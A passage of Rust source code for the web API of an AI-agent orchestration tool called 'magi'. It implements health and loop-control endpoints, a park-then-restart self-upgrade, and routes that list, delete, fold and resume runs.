1694            free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
1695            runs_bytes: crate::disk::dir_size(&ui.runs),
1696            worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
1697            cache_bytes,
1698        }
1699    }
1700}
1701
1702/// The daemon's state as the UI presents it.
1703#[derive(Debug, Serialize)]
1704struct DaemonView {
1705    running: bool,
1706    idle: Option<bool>,
1707    pid: Option<u32>,
1708    /// Every task and run currently in flight. Empty when idle; more than
1709    /// one entry when `Config::daemon.max_concurrent_runs` has more than one
1710    /// run going at once.
1711    current: Vec<daemon::Current>,
1712    completed: Option<u64>,
1713    stale_for_secs: Option<i64>,
1714}
1715
1716impl DaemonView {
1717    /// Judge a status file. Staleness is [`daemon::Reading::running`]'s call,
1718    /// not this UI's — a crashed daemon must not look alive here while
1719    /// `doctor` calls it dead.
1720    fn of(status: Option<daemon::Reading>) -> Self {
1721        let Some(status) = status else {
1722            return Self {
1723                running: false,
1724                idle: None,
1725                pid: None,
1726                current: Vec::new(),
1727                completed: None,
1728                stale_for_secs: None,
1729            };
1730        };
1731        let now = Timestamp::now();
1732        let age = status.age_secs(now);
1733        Self {
1734            running: status.running(now),
1735            idle: Some(status.idle),
1736            pid: status.pid,
1737            current: status.current,
1738            completed: Some(status.completed),
1739            stale_for_secs: age,
1740        }
1741    }
1742}
1743
1744async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
1745    blocking(move || {
1746        // One read of the status file for the two fields that describe it, so
1747        // `daemon` and `loop` in the same answer cannot disagree about who is
1748        // running the loop.
1749        let reading = daemon::read_status(&ui.home);
1750        // Read on its own line, not inside the literal below: the loop's lock
1751        // is not reentrant, and a guard taken as a temporary there would still
1752        // be held when `loop_view` took it again.
1753        let loop_rev = ui.lock_loop().rev;
1754        let update = cached_update_view(&ui.repo);
1755        let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
1756        Ok(Json(HealthView {
1757            version: env!("CARGO_PKG_VERSION"),
1758            home: ui.home.display().to_string(),
1759            queue_rev: ui.queue.revision(),
1760            runs_rev: runs_revision(&ui.runs),
1761            questions_rev: ui.questions.revision(),
1762            talks_rev: ui.talks.revision(),
1763            loop_rev,
1764            runs_unreadable: runs_unreadable(&ui.runs),
1765            questions_open: ui.questions.count_open(),
1766            questions_needs_owner: ui.questions.count_needs_owner(),
1767            daemon: DaemonView::of(reading.clone()),
1768            looping: ui.loop_view(reading),
1769            disk: DiskView::of(&ui),
1770            update,
1771            upgrade,
1772        }))
1773    })
1774    .await
1775}
1776
1777/// What `/api/loop` answers, and what `/api/health` carries as `loop`.
1778#[derive(Debug, Serialize)]
1779struct LoopView {
1780    /// A loop is running in *this* process.
1781    running: bool,
1782    /// It has been asked to stop and is still finishing a run.
1783    ///
1784    /// [`daemon::Stop::finishing`]'s answer rather than "the flag is set",
1785    /// because the two differ exactly where it matters: a loop asked to stop
1786    /// while idle is gone within one poll interval, and one asked to stop
1787    /// mid-run keeps going for as long as the graph takes. The operator needs
1788    /// to be told which of those they are waiting for.
1789    stopping: bool,
1790    /// A park was asked for: the run in flight stops at its next node
1791    /// boundary rather than finishing.
1792    ///
1793    /// Separate from `stopping` because the two promise different waits. A
1794    /// stop is "when this competition ends", which can be an hour; a park is
1795    /// "after the step it is on", which is minutes and is what an operator
1796    /// waiting to replace the binary needs to see.
1797    parking: bool,
1798    /// The loop is this process's own.
1799    ///
1800    /// Spelled separately from `running` for the front end's sake, even
1801    /// though inside this process the two move together: `running: false`
1802    /// with `daemon.running: true` is the case where the operator's own `magi
1803    /// serve` owns the loop, and `owned` is the field that tells the UI its
1804    /// buttons have to explain that rather than pretend.
1805    owned: bool,
1806    /// Repository the loop uses for tasks that name none - what it was
1807    /// started with while it runs, and what a start would use before that.
1808    repo: String,
1809    /// Merge mode override in force, or `null` when each repository's own
1810    /// config decides.
1811    merge: Option<String>,
1812    /// Why the last loop in this process ended, when it ended badly.
1813    ///
1814    /// The only place a crashed loop is visible to someone holding a phone.
1815    /// It is logged at error level as well, but a terminal nobody kept open
1816    /// is not a report, and a loop that died at 3am must not read as merely
1817    /// stopped in the morning. Named as [`Task::last_error`] is, because it
1818    /// answers the same question about the same kind of failure.
1819    last_error: Option<String>,
1820    /// The status file, judged the same way `/api/health` judges it: this is
1821    /// what says whether a loop is alive in some *other* process.
1822    daemon: DaemonView,
1823}
1824
1825/// A loop another process already owns.
1826///
1827/// `<home>/daemon.json` is the only cross-process signal there is, so this is
1828/// the whole of the test: a heartbeat no older than [`daemon::STALE_SECS`],
1829/// published by a pid that is not ours. Excluding our own pid is what makes
1830/// stopping work at all - the loop this process runs writes that file too, so
1831/// a check that ignored the pid would decide the operator's own UI was a
1832/// stranger and refuse to stop the loop it had just started.
1833#[derive(Debug, Clone, Copy)]
1834struct Foreign {
1835    /// The pid the other process published, when it published one.
1836    pid: Option<u32>,
1837}
1838
1839impl Foreign {
1840    /// Another process's live loop, or `None` when this process is free to
1841    /// run one.
1842    fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
1843        let reading = reading?;
1844        if !reading.running(Timestamp::now()) {
1845            return None;
1846        }
1847        match reading.pid {
1848            Some(pid) if pid == std::process::id() => None,
1849            // A fresh heartbeat with no pid in it is still evidence of a live
1850            // daemon. "Some other process" is the honest answer, and refusing
1851            // to start beside it is the safe one.
1852            pid => Some(Self { pid }),
1853        }
1854    }
1855
1856    /// How a conflict names it. The pid is the whole point of the message: it
1857    /// is what the operator needs to find the terminal that owns the loop.
1858    fn who(&self) -> String {
1859        match self.pid {
1860            Some(pid) => format!("another magi process (pid {pid})"),
1861            None => "another magi process".to_owned(),
1862        }
1863    }
1864}
1865
1866/// How a loop is started, as a future this module can hold onto.
1867///
1868/// A plain function pointer, so [`Ui`] stays `Debug` and `Clone` without a
1869/// trait object or a hand-written `Debug` impl for the sake of one seam.
1870type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
1871
1872/// The real loop: [`daemon::serve_until`], boxed to fit [`Launch`].
1873fn launch_daemon(
1874    opts: daemon::Opts,
1875    stop: daemon::Stop,
1876) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
1877    Box::pin(daemon::serve_until(opts, stop))
1878}
1879
1880/// The loop this process runs, behind one lock.
1881#[derive(Debug, Default)]
1882struct LoopState {
1883    /// The loop, while there is one.
1884    live: Option<Live>,
1885    /// Bumped on every change to this struct, and streamed as `loop_rev`.
1886    ///
1887    /// The loop is in-process state rather than a file, so nothing on disk
1888    /// would tell a second phone that the first one started it. Without this
1889    /// counter the only way to learn about a start, a stop request or a crash
1890    /// would be to poll `/api/loop`, which is the thing the change stream
1891    /// exists to avoid on a mobile link.
1892    rev: u64,
1893    /// Why the last loop ended, when it ended badly. See
1894    /// [`LoopView::last_error`].
1895    last_error: Option<String>,
1896}
1897
1898/// A loop in flight.
1899#[derive(Debug)]
1900struct Live {
1901    /// The cooperative stop, shared with the loop task.
1902    stop: daemon::Stop,
1903    /// The task itself, kept only to answer whether it is still there: a loop
1904    /// that panicked never records its own end, and without this the view
1905    /// would go on reporting a loop that no longer exists - the one lie that
1906    /// would leave the operator with no button to press.
1907    handle: tokio::task::JoinHandle<()>,
1908    /// What the loop was started with, so the view reports the repository and
1909    /// merge mode its runs will actually use rather than what an edit to the
1910    /// config since would give.
1911    opts: daemon::Opts,
1912}
1913
1914impl Live {
1915    /// Is the task still there? See [`Live::handle`].
1916    fn alive(&self) -> bool {
1917        !self.handle.is_finished()
1918    }
1919}
1920
1921/// Take the loop lock, recovering from a poisoned one.
1922///
1923/// What this mutex holds is a stop flag, a task handle and two counters, none
1924/// of which a panic elsewhere can leave in a state worth refusing to read.
1925/// Propagating the poison instead would mean an operator who can see the loop
1926/// running and can no longer stop it from the only surface they have.
1927fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
1928    state.lock().unwrap_or_else(PoisonError::into_inner)
1929}
1930
1931/// `GET /api/loop`.
1932async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
1933    blocking(move || {
1934        let reading = daemon::read_status(&ui.home);
1935        Ok(Json(ui.loop_view(reading)))
1936    })
1937    .await
1938}
1939
1940/// The body of `POST /api/loop`.
1941///
1942/// One required field and nothing else: no `default` and no unknown fields,
1943/// so a body that fails to say which way the switch was flipped is a 400
1944/// rather than a tap that quietly does the opposite of what was pressed.
1945#[derive(Debug, Deserialize)]
1946#[serde(deny_unknown_fields)]
1947struct LoopCommand {
1948    running: bool,
1949    /// Stop the run in flight at its next node boundary rather than letting it
1950    /// finish.
1951    ///
1952    /// Defaults to false, so the plain stop keeps meaning what it meant: a
1953    /// competition is tens of minutes of paid work and finishing it is
1954    /// normally the cheapest thing to do. A park is for the operator who
1955    /// wants the process gone now - to replace the binary, most of all - and
1956    /// it costs at most the node in progress because every node writes its
1957    /// state before the next one starts.
1958    #[serde(default)]
1959    park: bool,
1960}
1961
1962/// `POST /api/loop` - start the loop in this process, or ask it to stop.
1963///
1964/// Answers with the view rather than waiting for the loop to reach the state
1965/// that was asked for. Starting is immediate anyway; stopping is not, and the
1966/// wait is a run's worth of minutes, which is not a thing to hold a phone's
1967/// request open for. `stopping` in the answer is what the operator watches
1968/// instead.
1969async fn loop_post(
1970    State(ui): State<Arc<Ui>>,
1971    body: std::result::Result<Json<LoopCommand>, JsonRejection>,
1972) -> ApiResult<Json<LoopView>> {
1973    // Taken as a `Result` so a malformed body is a 400 like every other route
1974    // here, rather than axum's default 422 that the UI has no branch for.
1975    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
1976    blocking(move || {
1977        let reading = daemon::read_status(&ui.home);
1978        let foreign = Foreign::of(reading.as_ref());
1979        if body.running {
1980            ui.start_loop(foreign)?;
1981        } else {
1982            ui.stop_loop(foreign, body.park)?;
1983        }
1984        Ok(Json(ui.loop_view(reading)))
1985    })
1986    .await
1987}
1988
1989/// What `POST /api/upgrade` set in motion.
1990#[derive(Debug, Serialize)]
1991struct UpgradeView {
1992    /// The version this process is running.
1993    from: String,
1994    /// The release it is replacing itself with, when there is one.
1995    to: Option<String>,
1996    /// A run was parked first, and this is its id.
1997    parked: Option<String>,
1998    /// What the operator should expect to happen next.
1999    detail: String,
2000}
2001
2002/// `POST /api/upgrade` - replace this binary with the newest release and come
2003/// back on it.
2004///
2005/// The one thing the deck could not do for itself. Every fix landed today
2006/// either waited for a competition to end or went in with the deck stopped,
2007/// because `cargo install` cannot overwrite a running executable on Windows.
2008/// `kaishin` can: `self_replace` **renames** the running image aside and puts
2009/// the new one in its place, so the swap itself needs no downtime. Only the
2010/// restart does, and the order is the whole design:
2011///
2012/// 1. **Park.** A run in flight stops at its next node boundary and stays
2013///    resumable, so this costs at most the node in progress rather than the
2014///    competition. Without it the honest choices were waiting an hour or
2015///    discarding paid agent work.
2016/// 2. **Replace.** The new binary goes into place while this one still runs.
2017/// 3. **Hand over.** [`serve`] drops the listener, *then* spawns the
2018///    successor - see [`spawn_successor`] for what happens in the other
2019///    order.
2020/// 4. **Resume.** The next loop carries the parked run on rather than
2021///    competing again; see `daemon::attempt`.
2022///
2023/// Answers **202**: the reply has to reach the phone while this process can
2024/// still send one, and the phone learns the deck is back by reconnecting.
2025async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2026    let reading = daemon::read_status(&ui.home);
2027    if let Some(other) = Foreign::of(reading.as_ref()) {
2028        return Err(ApiError::conflict(format!(
2029            "the loop belongs to {}, so replacing this binary would leave \
2030             that process running an old one against the same queue. Upgrade \
2031             where it was started.",
2032            other.who()
2033        )));
2034    }
2035
2036    // The same kill switch the background check honours (`disabled_by_env`),
2037    // checked before anything else for the same reason it is read before the
2038    // config there: an operator who set `MAGI_NO_AUTOUPDATE` means "never
2039    // contact GitHub from this process", and a button press must not
2040    // override that any more than a broken `magi.toml` may.
2041    if crate::updater::disabled_by_env() {
2042        return Ok((
2043            StatusCode::OK,
2044            Json(UpgradeView {
2045                from: env!("CARGO_PKG_VERSION").to_owned(),
2046                to: None,
2047                parked: None,
2048                detail: format!(
2049                    "Automatic updates are disabled by {}. Nothing was parked \
2050                     and nothing restarted.",
2051                    crate::updater::NO_AUTOUPDATE_ENV
2052                ),
2053            }),
2054        ));
2055    }
2056
2057    // Asked before anything is disturbed. Restarting when there is nothing
2058    // to install is not a harmless no-op: it parks the run in flight and
2059    // drops every connection to pay for an upgrade that did not happen. A
2060    // probe against a deck already on the newest build did exactly that.
2061    let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2062    let from = env!("CARGO_PKG_VERSION").to_owned();
2063    let latest = match crate::updater::Checker::new(&cfg.update) {
2064        Some(checker) => checker
2065            .newer_release()
2066            .await
2067            .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2068        None => None,
2069    };
2070    let Some(latest) = latest else {
2071        return Ok((
2072            StatusCode::OK,
2073            Json(UpgradeView {
2074                from,
2075                to: None,
2076                parked: None,
2077                detail: "Already on the newest release. Nothing was parked \
2078                         and nothing restarted."
2079                    .to_owned(),
2080            }),
2081        ));
2082    };
2083
2084    // Parked before anything is replaced: a successor that came up while a
2085    // run was mid-node would find a run nobody is driving.
2086    let parked = ui.park_for_upgrade()?;
2087    let detail = match &parked {
2088        // Honest about the wait. A park takes effect at the *next* node
2089        // boundary, so a run mid-implement finishes that wave first - up to
2090        // `timeout_implement`, an hour by default. Saying "restarting now"
2091        // would make the deck look wedged for the rest of it.
2092        Some(run) => format!(
2093            "Run {} is parking at its next step, which can take as long as \
2094             the step it is on - up to an hour for an implement wave. The \
2095             deck replaces itself once it parks, comes back, and the loop \
2096             carries that run on from where it stopped. Nothing is lost if \
2097             you close this.",
2098            crate::run::short_of(run)
2099        ),
2100        None => "The deck replaces itself and comes back. Nothing was in \
2101                 flight to park."
2102            .to_owned(),
2103    };
2104
2105    // Recorded before the spawn, not inside it: the phone's next `/api/health`
2106    // poll must see a `Downloading` stage immediately, not whenever the
2107    // spawned task happens to get scheduled.
2108    let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2109    progress.parked_run = parked.clone();
2110    let _ = updater::write_progress(&ui.home, &progress);
2111
2112    let home = ui.home.clone();
2113    tokio::spawn(async move {
2114        if let Err(e) = upgrade_and_restart(home.clone()).await {
2115            tracing::error!("the upgrade did not complete: {e:#}");
2116            if let Some(mut progress) = updater::read_progress(&home) {
2117                progress.fail(format!("{e:#}"));
2118                let _ = updater::write_progress(&home, &progress);
2119            }
2120        }
2121    });
2122
2123    Ok((
2124        StatusCode::ACCEPTED,
2125        Json(UpgradeView {
2126            from,
2127            to: Some(latest.tag_name),
2128            parked,
2129            detail,
2130        }),
2131    ))
2132}
2133
2134/// Replace the binary, then ask [`serve`] to hand the address over.
2135///
2136/// Separated from the handler so the 202 is already on its way, and separated
2137/// from the spawn so the successor starts only after the listener is dropped.
2138async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2139    // `yes` and non-interactive: nobody is at a terminal, and a prompt would
2140    // hang the upgrade for as long as the process lives.
2141    crate::updater::run_self_update(true, false, true).await?;
2142    tracing::info!("binary replaced - asking the server to hand over");
2143    if let Some(mut progress) = updater::read_progress(&home) {
2144        progress.advance(updater::Stage::Replaced);
2145        let _ = updater::write_progress(&home, &progress);
2146    }
2147    HANDOVER.notify_one();
2148    Ok(())
2149}
2150
2151/// One row in the run list.
2152///
2153/// The list route returns this rather than whole `RunState`s: the summary of a
2154/// run is a few hundred bytes and the state is megabytes, and the difference
2155/// is what makes the history usable on a mobile link.
2156#[derive(Debug, Serialize)]
2157struct RunSummary {
2158    id: String,
2159    short: String,
2160    status: String,
2161    done: bool,
2162    instruction: String,
2163    title: String,
2164    repo: String,
2165    repo_name: String,
2166    created_at: String,
2167    updated_at: String,
2168    candidates: usize,
2169    viable: usize,
2170    judges: usize,
2171    winner: Option<char>,
2172    reviews: usize,
2173    quota_losses: usize,
2174    event: Option<String>,
2175    /// The later attempt at the same task that replaced this one, if any.
2176    ///
2177    /// Two cards with one title is otherwise unreadable: this is what lets
2178    /// the deck say "superseded by 4043" on the older of the pair.
2179    superseded_by: Option<String>,
2180    /// Blocked on a question nobody has answered.
2181    ///
2182    /// Derived from the question store rather than stored on the run: an agent
2183    /// calling `magi ask` blocks mid-node, and writing a status from there
2184    /// would race the graph's own save of `run.json` and be overwritten at the
2185    /// next node boundary. Asking the store is always true and never races.
2186    waiting: bool,
2187    /// Whether the process recorded as driving this run can still be proven
2188    /// alive. The card uses a confirmed-dead non-terminal run as `stale`,
2189    /// rather than presenting its last graph node as still in flight.
2190    live: crate::run::Liveness,
2191    /// The land loop's last look at the pull request, when there is one.
2192    pr: Option<crate::run::PrRecord>,
2193    /// `status` is `"ready"`, but `[merge] mode = "none"` left it there by
2194    /// design — never picked up by the PR-polling merge watcher, unlike an
2195    /// ordinary `Ready` that may still be a live landing candidate. See
2196    /// [`RunState::unmerged_by_design`]. The front end reads this rather than
2197    /// re-deriving the same check from `status` and `merge.mode` itself.
2198    unmerged_by_design: bool,
2199}
2200
2201impl RunSummary {
2202    fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2203        Self {
2204            id: state.id.clone(),
2205            short: state.short().to_owned(),
2206            status: status_word(state.status),
2207            done: state.status.done(),
2208            unmerged_by_design: state.unmerged_by_design(),
2209            instruction: state.instruction.clone(),
2210            title: title_from(&state.instruction, TITLE_MAX),
2211            repo: state.repo.display().to_string(),
2212            repo_name: state
2213                .repo
2214                .file_name()
2215                .map(|n| n.to_string_lossy().into_owned())
2216                .unwrap_or_default(),
2217            created_at: state.created_at.to_string(),
2218            updated_at: state.updated_at.to_string(),
2219            candidates: state.candidates.len(),
2220            viable: state.viable().len(),
2221            judges: state.config.graph.judges,
2222            winner: state.winner().map(|c| c.label),
2223            reviews: state.reviews.len(),
2224            quota_losses: state.quota.len(),
2225            event: state.events.last().map(|e| e.message.clone()),
2226            waiting,
2227            live,
2228            // Filled in by the list route, which is the only place that can
2229            // see a task's other attempts.
2230            superseded_by: None,
2231            pr: state.pr.clone(),
2232        }
2233    }
2234}
2235
2236/// `RunStatus` as the wire spells it. Every variant is one word, so this is
2237/// the same string `serde` writes for the status inside a full run.
2238fn status_word(status: RunStatus) -> String {
2239    // `RunStatus::as_str` rather than lowercasing the `Debug` spelling: this
2240    // was a third way of naming the same statuses, and one that changed
2241    // silently with a derive.
2242    status.as_str().to_owned()
2243}
2244
2245/// `?limit=`, clamped by the handler.
2246#[derive(Debug, Deserialize)]
2247struct ListQuery {
2248    #[serde(default)]
2249    limit: Option<usize>,
2250}
2251
2252async fn runs_list(
2253    State(ui): State<Arc<Ui>>,
2254    Query(q): Query<ListQuery>,
2255) -> ApiResult<Json<Vec<RunSummary>>> {
2256    let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2257    blocking(move || {
2258        let superseded = superseded_runs(&ui.queue);
2259        // Everything the per-run rows share is read once here. Asking per run
2260        // re-read every question file and the daemon status file for each of
2261        // hundreds of runs, and spawned a process probe per run on Windows.
2262        let open_runs: HashSet<String> = ui
2263            .questions
2264            .list()
2265            .into_iter()
2266            .filter(|q| q.status.open())
2267            .map(|q| q.run)
2268            .collect();
2269        let claimed: HashSet<String> =
2270            crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2271                .into_iter()
2272                .map(|c| c.run)
2273                .collect();
2274        let states = run_ids(&ui.runs)
2275            .into_iter()
2276            // A run whose state cannot be read is skipped, not fatal: a run
2277            // killed mid-write must not blank the history of every other one.
2278            // The detail route still explains it, which is where an operator
2279            // asking "what happened to that run" ends up.
2280            .filter_map(|id| read_run(&ui.runs, &id).ok())
2281            .take(limit);
2282        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
2283        let summaries = summarize(
2284            states,
2285            &open_runs,
2286            &claimed,
2287            &superseded,
2288            |p| probe.borrow_mut().status(p),
2289            |p| probe.borrow_mut().started_at(p),
2290        );
2291        Ok(Json(summaries))
2292    })
2293    .await
2294}
2295
2296/// The rows of the run list, given everything that is shared between them.
2297///
2298/// Pure over its inputs so a test can count how often the process queries are
2299/// asked; `status_q` / `identity_q` are the queries [`RunState::liveness_with`]
2300/// takes, called at most once per run.
2301fn summarize<I, S, D>(
2302    states: I,
2303    open_runs: &HashSet<String>,
2304    claimed: &HashSet<String>,
2305    superseded: &HashMap<String, String>,
2306    mut status_q: S,
2307    mut identity_q: D,
2308) -> Vec<RunSummary>
2309where
2310    I: IntoIterator<Item = RunState>,
2311    S: FnMut(u32) -> Option<bool>,
2312    D: FnMut(u32) -> Option<String>,
2313{
2314    states
2315        .into_iter()
2316        .map(|state| {
2317            let waiting = open_runs.contains(&state.id);
2318            let live =
2319                state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
2320            let mut row = RunSummary::of(&state, waiting, live);
2321            row.superseded_by = superseded
2322                .get(&state.id)
2323                .map(String::as_str)
2324                .map(crate::run::short_of)
2325                .map(str::to_owned);
2326            row
2327        })
2328        .collect()
2329}
2330
2331/// Runs that a later attempt at the same task replaced, mapped to the id of
2332/// the attempt that replaced them.
2333///
2334/// A task keeps its attempts in order, and the deck showed them as two cards
2335/// with the same title and no hint which was which: yukimemi asked why
2336/// `stalled` and `blocked` appeared twice for one task, and the answer -
2337/// "those are two tries, and the second one exists because of a bug since
2338/// fixed" - was not on the screen anywhere.
2339///
2340/// Read from the queue rather than stored on the run, because the ordering is
2341/// the queue's fact: a `RunState` has no idea another attempt happened after
2342/// it.
2343fn superseded_runs(queue: &Queue) -> HashMap<String, String> {
2344    let mut by = HashMap::new();
2345    for task in queue.list() {
2346        for pair in task.runs.windows(2) {
2347            if let [earlier, later] = pair {
2348                by.insert(earlier.clone(), later.clone());
2349            }
2350        }
2351    }
2352    by
2353}
2354
2355/// A run as the detail route hands it to the phone.
2356///
2357/// The whole state, flattened, plus `instruction_md`: the Task panel renders
2358/// the instruction as markdown, and the raw `instruction` field this struct
2359/// still carries (unchanged) is what a client wanting the exact bytes reads
2360/// instead.
2361#[derive(Debug, Serialize)]
2362struct RunDetailView {
2363    #[serde(flatten)]
2364    state: RunState,
2365    instruction_md: Vec<md::Node>,
2366    /// Whether a process is actually still driving this run: `"live"`,
2367    /// `"dead"`, or `"unknown"` — see [`crate::run::Liveness`].
2368    ///
2369    /// `state.active` (flattened in above) is only ever cleared by the
2370    /// process that populated it; a killed one leaves its last wave's
2371    /// entries behind. Carrying this alongside is what lets the phone rail
2372    /// tell "this seat is still answering" from "this seat was still
2373    /// answering when whatever was driving this run died" without a second
2374    /// route — see `ActiveSeat`'s own docs for why the entry alone is not
2375    /// proof of either. A string rather than a bool on purpose: a daemon
2376    /// claim proves `"live"`, `driver_pid` answering dead proves `"dead"`,
2377    /// and neither proven is `"unknown"` — folding that third case into
2378    /// either end of a bool is exactly the wrong call for a phone screen an
2379    /// operator uses to decide whether to wait or to act.
2380    live: crate::run::Liveness,
2381    /// Same field and meaning as [`RunSummary::unmerged_by_design`] — kept
2382    /// alongside the flattened `state` rather than inside it, since
2383    /// `RunState` has no business knowing which of its own methods a caller
2384    /// wants serialized.
2385    unmerged_by_design: bool,
2386}
2387
2388impl RunDetailView {
2389    fn of(state: RunState, live: crate::run::Liveness) -> Self {
2390        Self {
2391            instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
2392            live,
2393            unmerged_by_design: state.unmerged_by_design(),
2394            state,
2395        }
2396    }
2397}
2398
2399async fn run_detail(
2400    State(ui): State<Arc<Ui>>,
2401    Path(id): Path<String>,
2402) -> ApiResult<Json<RunDetailView>> {
2403    blocking(move || {
2404        let id = resolve_run(&ui.runs, &id)?;
2405        let state = read_run(&ui.runs, &id)?;
2406        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2407        let live = state.liveness(daemon_claims);
2408        Ok(Json(RunDetailView::of(state, live)))
2409    })
2410    .await
2411}
2412
2413/// `DELETE /api/runs/{id}`.
2414///
2415/// Remove a finished, folded run directory along with its artifacts.
2416/// Running runs and runs with unfolded candidate worktrees/branches cannot be
2417/// deleted. This never touches git worktrees or branches - except for a run
2418/// whose state this build cannot read at all, where there is no candidate
2419/// list to check and the wholesale removal `magi fold` already uses for that
2420/// case is the only meaningful "delete".
2421async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2422    let (id, unreadable) = {
2423        let ui = Arc::clone(&ui);
2424        blocking(move || {
2425            let id = resolve_run(&ui.runs, &id)?;
2426            match read_run(&ui.runs, &id) {
2427                Ok(state) => {
2428                    let in_flight =
2429                        crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2430                    state
2431                        .ensure_can_delete(in_flight)
2432                        .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2433                    let dir = ui.runs.join(&id);
2434                    std::fs::remove_dir_all(&dir)
2435                        .with_context(|| format!("remove run directory {}", dir.display()))?;
2436                    Ok((id, false))
2437                }
2438                Err(_) => {
2439                    // Unreadable: there is no candidate list to guard on, so
2440                    // a live daemon's claim is the only thing left to check -
2441                    // the same rule `run_fold` applies for the same reason.
2442                    if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2443                        return Err(ApiError::conflict(format!(
2444                            "run {id} is being worked on by a live daemon right now"
2445                        )));
2446                    }
2447                    Ok((id, true))
2448                }
2449            }
2450        })
2451        .await?
2452    };
2453    if unreadable {
2454        crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2455            .await
2456            .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2457    }
2458    let ui = Arc::clone(&ui);
2459    let done = id.clone();
2460    blocking(move || {
2461        // The agent that asked died with the run, so an open question would
2462        // keep asking the operator for a decision nobody can deliver.
2463        ui.questions.abandon_for_run(
2464            &done,
2465            &format!("run {done} was deleted, so nothing is waiting for this answer"),
2466        )?;
2467        Ok(())
2468    })
2469    .await?;
2470    Ok(StatusCode::NO_CONTENT)
2471}
2472
2473/// `POST /api/runs/{id}/fold`.
2474///
2475/// Remove a run's candidate worktrees and branches, keeping its record.
2476///
2477/// This exists because the deck answered "delete this run" with *"Candidates
2478/// must be folded before deleting. Run `magi fold` first."* — a phone being
2479/// told to open a terminal, in the one product whose point is that it does
2480/// not need one. The runs an operator most wants gone are the stalled and
2481/// blocked ones, and those are exactly the runs still holding worktrees:
2482/// three of them here held 53 GB.
2483///
2484/// The winner's tree goes too. A fold is what someone asks for when they are
2485/// finished with a run, and leaving one tree behind would leave the delete
2486/// button disabled for the same reason as before.
2487///
2488/// Refused while a live daemon is working on the run, on the rule that guards
2489/// deletion: folding underneath a running agent would pull the tree it is
2490/// editing out from under it.
2491///
2492/// A run whose state this build cannot read at all falls back to
2493/// [`crate::clean::fold_unreadable`] - there is no candidate list to fold
2494/// selectively, so the whole record's worktree goes wholesale, exactly what
2495/// `magi fold` does on the command line for the same run.
2496async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
2497    let (id, state) = {
2498        let ui = Arc::clone(&ui);
2499        blocking(move || {
2500            let id = resolve_run(&ui.runs, &id)?;
2501            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2502                return Err(ApiError::conflict(format!(
2503                    "run {id} is being worked on by a live daemon right now"
2504                )));
2505            }
2506            let state = read_run(&ui.runs, &id).ok();
2507            Ok((id, state))
2508        })
2509        .await?
2510    };
2511    let removed = match state {
2512        Some(mut state) => {
2513            let removed = crate::graph::fold_run(&mut state, true, &ui.home)
2514                .await
2515                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2516            // Nothing left to remove is not the same thing as nothing left to
2517            // do — see `clean::clear_abandoned_active`'s own doc for the run
2518            // this exists for: worktrees already gone, but a killed process
2519            // left active seats nobody will ever answer for.
2520            if removed.is_empty() {
2521                crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
2522                    .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2523            }
2524            removed
2525        }
2526        None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2527            .await
2528            .map_err(|e| ApiError::internal(format!("{e:#}")))?,
2529    };
2530    Ok(Json(FoldView {
2531        run: id,
2532        removed_count: removed.len(),
2533        removed,
2534    }))
2535}
2536
2537/// What a fold took away, so the deck can say so rather than only re-render.
2538#[derive(Debug, Serialize)]
2539struct FoldView {
2540    run: String,
2541    /// Worktree paths and branch names removed, in the order they went.
2542    removed: Vec<String>,
2543    removed_count: usize,
2544}
2545
2546/// `POST /api/runs/{id}/resume`.
2547///
2548/// Carry a stalled run on from where it stopped, in the background.
2549///
2550/// A stalled card says "the work is kept" and used to offer no way to act on
2551/// that: the candidates are built and paid for, and continuing means re-asking
2552/// only the seats whose absence collapsed the panel. The alternative an
2553/// operator actually had was releasing the task, which competes three fresh
2554/// implementations against work that already exists.
2555///
2556/// **202, not 200.** A resume runs agents for minutes; holding the connection
2557/// is the mistake `POST /api/talks/{id}/say` already made and had fixed. The
2558/// phone learns the outcome from the change stream.
2559///
2560/// Refused when the loop is running at all, not merely when it is on this run.
2561/// The scarce resource is the agent CLIs' quota, and a tap that quietly
2562/// started a second graph on top of whatever the loop is already driving —
2563/// one run by default, or as many as `Config::daemon.max_concurrent_runs`
2564/// allows — would spend that quota twice over for no extra throughput.
2565async fn run_resume(
2566    State(ui): State<Arc<Ui>>,
2567    Path(id): Path<String>,
2568) -> ApiResult<(StatusCode, Json<RunSummary>)> {
2569    let (id, state) = {
2570        let ui = Arc::clone(&ui);
